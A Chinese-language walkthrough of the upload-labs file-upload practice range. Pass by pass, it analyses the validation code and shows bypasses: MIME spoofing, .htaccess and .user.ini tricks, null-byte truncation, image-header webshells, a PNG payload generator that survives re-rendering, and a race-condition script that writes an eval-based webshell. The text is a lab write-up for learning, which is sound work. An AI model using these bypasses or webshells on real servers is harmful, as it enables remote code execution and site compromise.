目錄
pass-01 前端js過濾
pass-02 修改MIME類型
pass-03 換字尾别名過濾
pass-04 htaccess利用
pass-05 .user.ini利用
pass-06 大小寫過濾
pass-07 空格過濾
pass-08 點過濾
pass-09 ::$DATA過濾
pass-10 點空格繞過
pass-11 雙寫繞過
pass-12 %00截斷
pass-13 00截斷
pass-14 圖檔馬:檢查檔案頭字
pass-15 圖檔馬:getimagesize
pass-16 圖檔馬:exif_imagetype
pass-17 二次渲染
pass-18 條件競争1
pass-19 條件競争2+解析漏洞
pass-20 斜杠點繞過
pass-21 斜杠點+數組繞過
總結
檔案上傳的思路有:
pass-01 前端js過濾
源碼解析:
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("請選擇要上傳的檔案!");
return false;
}
//定義允許上傳的檔案類型
var allow_ext = ".jpg|.png|.gif";
//提取上傳檔案的類型
var ext_name = file.substring(file.lastIndexOf("."));
//判斷上傳檔案類型是否允許上傳
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "該檔案不允許上傳,請上傳" + allow_ext + "類型的檔案,目前檔案類型為:" + ext_name;
alert(errMsg);
return false;
}
}
在這一關中,當使用者點選上傳檔案時,會觸發一個點選事件,調研js中的函數checkFile,先判斷有沒有選擇檔案,然後設定允許上傳檔案的格式,通過最後一個“ . ”擷取上傳檔案的字尾,然後判斷其是否在允許上傳的範圍。
利用:
方法一:因為這是在用js代碼在前端進行校驗,我們可以直接利用插件禁用script繞過上傳
方法二:也可以将上傳的檔案字尾修改為合法字尾,然後抓包修改為原來的字尾
pass-02 修改MIME類型
源碼解析:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '檔案類型不正确,請重新上傳!';
}
} else {
$msg = UPLOAD_PATH.'檔案夾不存在,請手工建立!';
}
}
在進行檔案上傳時,浏覽器會設定一個請求頭Content-Type對上傳檔案的類型進行說明,而這一關在背景中采用$_FILES['upload_file']['type']對檔案上傳的類型(Content-Type)進行校驗
利用:
上傳一個shell.php檔案,将Content-Type的application/octet-stream改為image/jpeg,即可上傳成功
檢視upload檔案夾也可以發現shell.php檔案,即上傳成功
pass-03 換字尾别名過濾
源碼解析:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除檔案名末尾的點
$file_ext = strrchr($file_name, '.'); //去掉.加檔案名稱,隻保留檔案字尾
$file_ext = strtolower($file_ext); //轉換為小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//将file_ext中的字元串::$DATA替換成空
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '不允許上傳.asp,.aspx,.php,.jsp字尾檔案!';
}
} else {
$msg = UPLOAD_PATH . '檔案夾不存在,請手工建立!';
}
}
$deny_ext制定了黑名單,緊跟着六行将上傳的檔案字尾提取出來
$temp_file = $_FILES['upload_file']['tmp_name']擷取檔案被上傳後在服務端儲存的臨時檔案名
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; 待修改檔案名
if (move_uploaded_file($temp_file,$img_path)) 移動即為修改
利用:
可直接将php改為php5|phtml|phps|pht等
前提是apache的httpd.conf中有如下配置代碼:
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
另外,在upload檔案夾上也可以看到上傳成功的檔案
pass-04 htaccess利用
源碼解析:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除檔案名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉換為小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字元串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '此檔案不允許上傳!';
}
} else {
$msg = UPLOAD_PATH . '檔案夾不存在,請手工建立!';
}
}
這一關源碼跟上一個類似,隻不過黑名單的範圍更大的,無法通過修改同義字尾直接進行檔案上傳
但是沒有過濾htaccess,而當htaccess檔案中存在以下配置時:
SetHandler application/x-httpd-php
會将所有的檔案都當初php檔案執行(前提條件:
1.mod_rewrite子產品開啟。2.AllowOverride All
)
利用:
1上傳htaccess檔案
2抓包修改htaccess,去掉前面的檔案名
3利用成功
附:開啟前提條件
Apache/conf/conf.httpd
pass-05 .user.ini利用
源碼解析:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除檔案名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉換為小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字元串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '此檔案類型不允許上傳!';
}
} else {
$msg = UPLOAD_PATH . '檔案夾不存在,請手工建立!';
}
}
跟上一關類似,但這裡将htaccess也過濾了,但是沒有對檔案進行複制式重命名,另外.ini檔案也沒有過濾
利用
1 上傳一個.user.ini檔案(使用者自定義配置檔案),此檔案内容為auto_propend_file=1.jpg,即所有的php檔案都包含一個1.jpg檔案
2 将webshell命名為1.jpg
3 利用readme.php(由于.user.ini的配置,使得readme.php包含了1.jpg,即一句話木馬)
注意:.user.ini隻有在fastCGI起作用,在apache下是沒有用的
在phpstudy中修改為php+nginx php+nts+ngnix(兩者都是CGI/FastCGI模式,但隻要後面那個起作用)
關于CGI/fast CGI:圖源:CGI、FastCGI和PHP-FPM關系圖解 -php教程-PHP中文網
pass-06 大小寫過濾
源碼解析:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除檔案名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字元串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '此檔案類型不允許上傳!';
}
} else {
$msg = UPLOAD_PATH . '檔案夾不存在,請手工建立!';
}
}
提示顯示:本pass禁止上傳: .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess字尾檔案!
與前面的源碼相比,少了$file_ext = strtolower($file_ext); //轉換為小寫,雖然黑名單比較大,但還是可以上傳字尾為phP* PHP* PHp* pHP* Php* 的檔案
pass-07 空格過濾
源碼解析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除檔案名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉換為小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字元串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '此檔案不允許上傳';
}
} else {
$msg = UPLOAD_PATH . '檔案夾不存在,請手工建立!';
}
}
與上面的源碼相比,少了 $file_ext = trim($file_ext); //首尾去空 這一句,即可以看利用字尾加空繞過
這個時候需改為apache當容器,否則,打開上傳的檔案時會直接下載下傳
利用
修改字尾時應該php後面加空格,否則,雖然能上傳成功,但是無法利用,這是由于檔案命名時會自動忽略最後的空格
pass-08 點過濾
源碼解析:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉換為小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字元串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '此檔案類型不允許上傳!';
}
} else {
$msg = UPLOAD_PATH . '檔案夾不存在,請手工建立!';
}
}
與上面源碼相比,少了 $file_name = deldot($file_name);//删除檔案名末尾的點 即後面根據 . 将字尾和檔案名劃分無效,這就使得無法過濾字尾
利用:随意上傳webshell,後面添加一個 . 就行了,即比對黑名單時是php. 完美過濾
在upload上 . 自動消失(windows特征,重命名字尾加.會自動消失)
pass-09 ::$DATA過濾
源碼解析:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除檔案名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉換為小寫
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '此檔案類型不允許上傳!';
}
} else {
$msg = UPLOAD_PATH . '檔案夾不存在,請手工建立!';
}
}
與上面的源碼相比,少了 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字元串::$DATA
檔案名+"::$DATA"會把::$DATA之後的資料當成檔案流處理,由于沒有去掉::$DATA,最後會過濾成php::$DATA與黑名單比較
在pass-08中,如果直接加::$DATA 不能繞過,因為去掉::$DATA就是php,這會直接比對黑名單
如果加.::$DATA 可以上傳成功,這個時候就是上傳一個php.檔案 但是這與直接加.不一樣,不會自動将.消失,反而成為一個很詭異的檔案,不能删除,不能打開(直接說此檔案不存在)
當然,這裡不探讨太多,在這一題中,因為,可以添加抓包修改webshell,原檔案字尾後面添加::$DATA, 最後提取出來的字尾變成php::$DATA(缺失的一句代碼就是影響這裡)即可繞過黑名單,但因為::$DATA後面是資訊流,儲存至伺服器時就變成正常的php檔案
pass-10 點空格繞過
源碼分析
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除檔案名末尾的點
$file_ext = strrchr($file_name, '.'); #一個字元串在另外一個字元串最後一次出現的位置,并傳回該字元後(包含該字元串)的字元串
$file_ext = strtolower($file_ext); //轉換為小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字元串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
}
首先将原檔案名去掉空格,去掉末尾的點,得到file_name
在file_name的基礎上,擷取最後一個.開始的字元串,去掉::$DATA和空格
利用
依據上面分析,為了使.php逃出過濾,可構造檔案名.php. . 即原字尾點空格(空字尾)點(應對deldot)
這個時候,file_name出來是.php.空格 file_ext出來是.空格 逃出黑名單
在Windows中.空格會消失
但是,沒有空格,點也會消失,不要空格好像也可以,file_ext出來是點,可以逃出來,file_name是原字尾加點,點一樣也會消失,我們試一下
原因是這樣的,deldot(自定義函數)是去掉末尾所有連續的點,而不是隻去掉一個
function deldot($s){
for($i = strlen($s)-1;$i>0;$i--){
$c = substr($s,$i,1);
if($i == strlen($s)-1 and $c != '.'){
return $s;
}
if($c != '.'){
return substr($s,0,$i+1);
}
}
}
pass-11 雙寫繞過
源碼分析
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name); //比對過濾
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = UPLOAD_PATH . '檔案夾不存在,請手工建立!';
}
從這題開始,源碼變化很大,這裡很明顯是将符合黑名單的字尾比對去掉,直接雙寫利用就行了
利用
str_ireplace是不區分大小寫的,所有這裡大小寫混合過濾無效
pass-12 %00截斷
源碼分析:
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); //擷取最後一個點後一位開始的字元串
if(in_array($file_ext,$ext_arr)){ //是否在白名單内
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上傳失敗";
}
} else {
$msg = "隻允許上傳.jpg|.png|.gif類型檔案!";
}
strstr 傳回該字元(串)首次出現到字元串尾部分, 包括該字元(串)。
strstr 傳回該字元(串)最後出現到字元串尾部分, 包括該字元(串)。
strpos 傳回某個字元串第一次出現的位置
strrpos 傳回某個字元串最後出現的位置
與前面不一樣,這裡就變成白名單了
這裡需要%00截斷的知識點,條件為
(1)php版本必須小于5.3.4
(2)打開php的配置檔案php-ini,将magic_quotes_gpc設定為Off
截斷符%00 \0 0x00
pass-13 00截斷
跟上面一樣,隻不過将GET改成POST,不作過多描述
不一樣的是,這裡采用的是00截斷
pass-14 圖檔馬:檢查檔案頭字
源碼分析
$file = fopen($filename, "rb");
$bin = fread($file, 2); //隻讀2位元組
fclose($file);
$strInfo = @unpack("C2chars", $bin); //将二進制解包,生成chars1 chars2數組
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']); //擷取整型資料
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
這裡會讀取檔案的前兩個位元組,并轉換成整型,以此判斷是否是圖檔
故無需理會字尾,也不用考核直接把php修改成jpg等在檔案包含利用
利用:
1 直接在圖檔檔案後面加上webshell
2 上傳php檔案,增加圖檔前面兩個位元組的内容,如這裡的GIF89a是gif檔案前面幾個位元組的内容
pass-15 圖檔馬:getimagesize
源碼解析:
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename); //擷取圖像資訊,不僅僅是大小
$ext = image_type_to_extension($info[2]); //數組分别為高度 寬度 類型 屬性 這裡info[2]為類型
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
getimagesize擷取圖像資訊
利用
上一題直接在圖檔後面添加代碼,可能是破壞是圖檔完整性(因為這個圖檔不能正常打開,有可能也會正常顯示,看人品)
是以這裡不能那麼簡單粗暴了
上傳利用
pass-16 圖檔馬:exif_imagetype
源碼分析
function isImage($filename){
//需要開啟php_exif子產品
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
跟上兩題一樣,就是檢查邏輯不一樣,直接利用上一題的檔案上傳
pass-17 二次渲染
源碼分析:
// 獲得上傳檔案的基本資訊,檔案名,類型,大小,臨時檔案路徑
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 獲得上傳檔案的擴充名
$fileext= substr(strrchr($filename,"."),1);
//判斷檔案字尾與類型,合法才進行上傳操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上傳的圖檔生成新的圖檔
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "該檔案不是jpg格式的圖檔!";
@unlink($target_path);
}else{
//給新圖檔指定檔案名
srand(time());
$newfilename = strval(rand()).".jpg";
//顯示二次渲染後的圖檔(使用使用者上傳圖檔生成的新圖檔)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上傳出錯!";
}
這裡imagecreatefromjpeg方法對圖檔進行了二次渲染,注意一下這個是php函數,不是自定義的
而這個函數隻是對部門圖檔資料進行更改,我們要做的,就是分析出哪塊不會更改
利用
1 上傳一個圖檔馬,檔案包含打開,php語句沒有執行
2 将圖檔另存下來,利用flexHEX對比兩者
找到php語句,并将其對應的16進制寫入到不會改變的前25位元組中
儲存再次上傳,上傳失敗,這是由于證明是png檔案的位元組已經被我修改了。
換個格式要求沒那麼嚴格的gif檔案嘗試一下,發現可以成功上傳并利用
對于png檔案:
下面先對png檔案格式作簡單介紹
php在二次渲染時并不會對PLTE資料塊進行修改,僅做CRC校驗,但是需要IHDR中的color type為03(這種方法失敗率比較高,特别是沒有PLTE資料塊的png檔案)
此外,有大神寫出了一個生成圖檔腳本,此圖檔不會被二次渲染函數改變
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
執行後生成圖檔
且其被渲染後也不會改變
注:在<?=$_GET[0]($_POST[1]); >中
<?= ?> 相當于<? echo ?>
$_GET不能傳入eval 可以傳入assert
jpg也采用大神的腳本Upload-Labs第Pass-16通關(二次渲染繞過) 詳解 - 付傑部落格 (fujieace.com)
pass-18 條件競争1
源碼分析
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name']; //上傳過程中存放的臨時檔案
$file_ext = substr($file_name,strrpos($file_name,".")+1); //擷取字尾
$upload_file = UPLOAD_PATH . '/' . $file_name; //原檔案名
{ //先上傳
if(in_array($file_ext,$ext_arr)){ //再判斷是否在黑名單内
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path); //原檔案名替換成新檔案名
$is_upload = true;
}else{
$msg = "隻允許上傳.jpg|.png|.gif類型檔案!";
unlink($upload_file);
}
}else{
$msg = '上傳出錯!';
}
}
在這題中,先将檔案上傳到upload目錄中,然後再判斷是否在黑名單中,如果不在,則重命名,如果在黑名單内,則删除
利用
這裡主要是在從上傳到upload目錄中再判斷是否在黑名單内的間隙中及時進行利用,而為了能持久性利用,在這個時間間隙中還應該寫入一個新的webshell,這樣就算我們上傳的檔案被删除了還是可以繼續利用的。
1 構造pass18.php
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["x"])?>’);?>
這個語句是指當通路pass18.php時,就會像寫入一個shell.php
2 利用burpsuite不斷發送上傳pass18.php的請求
3 利用python構造不斷請求pass18.php的腳本,請求傳回200結束
4 有時候python成功請求了,但并不代表順利寫入shell.php,多次幾遍。最後通路shell.php
pass-19 條件競争2+解析漏洞
源碼分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '檔案已經被上傳,但沒有重命名。';
break;
case -1:
$msg = '這個檔案不能上傳到伺服器的臨時檔案存儲目錄。';
break;
case -2:
$msg = '上傳失敗,上傳目錄不可寫。';
break;
case -3:
$msg = '上傳失敗,無法上傳該類型檔案。';
break;
case -4:
$msg = '上傳失敗,上傳的檔案過大。';
break;
case -5:
$msg = '上傳失敗,伺服器已經存在相同名稱檔案。';
break;
case -6:
$msg = '檔案無法上傳,檔案不能複制到目标目錄。';
break;
default:
$msg = '未知錯誤!';
break;
}
}
//myupload.php
class MyUpload{
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension(); //檢查字尾
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize(); //檢查檔案大小
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
if( $this->cls_file_exists == 1 ){ //是否已存在
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
$ret = $this->move(); //移動檔案
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
if( $this->cls_rename_file == 1 ){ //重命名
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
return $this->resultUpload( "SUCCESS" );
}
......
};
上述代碼邏輯是先檢查字尾,再移動,然後重命名
(其實這一題可以通過上傳圖檔馬+檔案包含進行利用)
在apache1.x和apache2.x中,多個檔案字尾且遇到不認識的字尾時會從後往前解析,在上面過程中,以上傳一個shell.php.7z為例
檢查字尾、移動檔案直到重命名前都是shell.php.7z
重命名後變成xxxxxx.7z
若想利用apache解析漏洞,必須在重命名前進行,是以這裡也利用了條件競争的思路,具體做法與上一題一樣,主要是利用apache解析漏洞,這裡不多做解釋
pass-20 斜杠點繞過
源碼分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);//擷取擴充名
if(!in_array($file_ext,$deny_ext)) { //驗證字尾
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) { //移動 上傳
$is_upload = true;
}else{
$msg = '上傳出錯!';
}
}else{
$msg = '禁止儲存為該類型檔案!';
}
} else {
$msg = UPLOAD_PATH . '檔案夾不存在,請手工建立!';
}
}
這裡通過POST接收save_name,并為最終儲存結果
pathinfo($file_name,PATHINFO_EXTENSION)為擷取擴充名函數
利用
move_uploaded_file()會忽略檔案名後面的/.
修改包
最後在伺服器上會以upload-20.php存在,注意,修改成upload.php/不行的
另外,随便上傳一個字尾檔案,可以通過檔案包含的形式利用
這裡網上有部落格說可以進行POST方式的00截斷,我認為應該是可以的,但是我沒有成功上傳
pass-21 斜杠點+數組繞過
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//檢查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上傳該類型檔案!";
}else{
//檢查檔案名
